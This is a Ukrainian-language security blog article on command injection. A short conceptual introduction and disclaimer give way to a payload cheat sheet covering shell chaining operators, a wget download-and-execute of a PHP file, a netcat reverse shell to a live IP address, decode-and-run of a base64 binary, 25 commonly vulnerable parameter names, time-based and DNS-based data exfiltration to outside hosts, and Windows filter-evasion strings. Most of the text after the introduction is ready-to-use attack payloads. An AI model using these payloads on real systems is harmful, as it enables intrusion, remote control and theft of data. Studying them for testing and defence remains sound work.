Що таке ін’єкція команди?

11.03.2024 2 хвилин Автор: Cyber Witcher

Стаття  присвячена Command Injection (впровадженню команд) — це тип атаки, коли зловмисник може виконувати довільні команди операційної системи на сервері, на якому розміщено програму. Це може призвести до повного компрометування програми та всіх її даних. Виконання цих команд зазвичай дозволяє атакуючому отримати несанкціонований доступ або контроль за середовищем програми та її системою.

  • Дисклеймер: Цей матеріал створено виключно для ознайомлювальних цілей. Автори не несуть відповідальності за можливе використання інформації у шкідливих цілях. Знання про вразливості необхідне для покращення безпеки програмного забезпечення.

Що таке ін’єкція команди, як вона з’явилася і чим небезпечна?

Ін’єкція команди (Command Injection) — це один із найпоширеніших і небезпечних видів атак на веб-додатки та сервери. У рамках цієї атаки зловмисник має можливість виконувати довільні команди операційної системи на сервері, що дає йому контроль над додатком, його даними та навіть всією системою.

Як з’явилася ін’єкція команди?

Цей вид атаки виник разом із розвитком веб-технологій, коли розробники почали інтегрувати системні команди для автоматизації завдань на серверах. Через необачне оброблення вхідних даних користувачів часто виникають вразливості, які дозволяють виконувати сторонні команди. Наприклад, якщо програма передає введені користувачем дані напряму до оболонки операційної системи без належної перевірки, зловмисник може вставити свою команду, змінюючи поведінку програми.

Чим небезпечна ін’єкція команди?

Небезпека цього виду атак полягає в наступному:

  • Отримання доступу до системи. Зловмисник може отримати доступ до системних файлів, баз даних або конфіденційної інформації.

  • Повний контроль над сервером. Якщо атака успішна, зловмисник може встановлювати шкідливе ПЗ, змінювати дані або навіть використовувати сервер для подальших атак.

  • Зниження продуктивності або відмова у роботі. Виконання ресурсозатратних команд може призвести до перевантаження або виходу системи з ладу.

  • Фінансові та репутаційні втрати. Компрометація даних клієнтів або службової інформації може завдати значних збитків.

Важливо розуміти, що ін’єкція команди не залежить від мови програмування або платформи: будь-яка система, яка виконує команди операційної системи, потенційно вразлива. Захист від таких атак полягає у впровадженні принципів безпечного кодування, таких як перевірка та очищення введених даних, використання параметризованих запитів і мінімізація привілеїв.

Ін’єкція команд — це серйозна загроза, яка може мати катастрофічні наслідки для безпеки системи. Розуміння її механізму та своєчасне впровадження захисту допомагає уникнути ризиків.

Що таке введення команд?

Ін’єкція команди дозволяє зловмиснику виконувати довільні команди операційної системи на сервері, на якому розміщено програму. У результаті програма та всі її дані можуть бути повністю скомпрометовані. Виконання цих команд зазвичай дозволяє зловмиснику отримати неавторизований доступ або контроль над середовищем програми та основною системою.

Контекст

Залежно від того, куди вводяться ваші дані, вам може знадобитися завершити цитований контекст (за допомогою "або ') перед командами.

Введення/виконання команди

#Both Unix and Windows supported
ls||id; ls ||id; ls|| id; ls || id # Execute both
ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)
ls&&id; ls &&id; ls&& id; ls && id #  Execute 2º if 1º finish ok
ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º
ls %0A id # %0A Execute both (RECOMMENDED)

#Only unix supported
`ls` # ``
$(ls) # $()
ls; id # ; Chain commands
ls${LS_COLORS:10:1}${IFS}id # Might be useful

#Not executed but may be interesting
> /var/www/html/out.txt #Try to redirect the output to a file
< /etc/passwd #Try to send some input to the command

Приклади

vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay

Параметри

Ось 25 основних параметрів, які можуть бути вразливими до впровадження коду та подібних уразливостей RCE (за посиланням ):
?cmd={payload}
?exec={payload}
?command={payload}
?execute{payload}
?ping={payload}
?query={payload}
?jump={payload}
?code={payload}
?reg={payload}
?do={payload}
?func={payload}
?arg={payload}
?option={payload}
?load={payload}
?process={payload}
?step={payload}
?read={payload}
?function={payload}
?req={payload}
?feature={payload}
?exe={payload}
?module={payload}
?payload={payload}
?run={payload}
?print={payload}

Викрадання даних на основі часу

Вилучення даних: символ за символом
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real    0m5.007s
user    0m0.000s
sys 0m0.000s

swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
real    0m0.002s
user    0m0.000s
sys 0m0.000s

Викрадання даних на основі DNS

Базується на інструменті з https://github.com/HoLyVieR/dnsbinтакож розміщеного на dnsbin.zhack.ca
1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls'
for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)

Онлайн-інструменти для перевірки крадіжки даних на основі DNS

  • dnsbin.zhack.ca

  • pingb.in

Обхід фільтрації

вікна:

powershell C:**2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:**32\c*?c.e?e # calc
Підписатися
Сповістити про
0 Коментарі
Найстаріші
Найновіше Найбільше голосів
Знайшли помилку?
Якщо ви знайшли помилку, зробіть скріншот і надішліть його боту.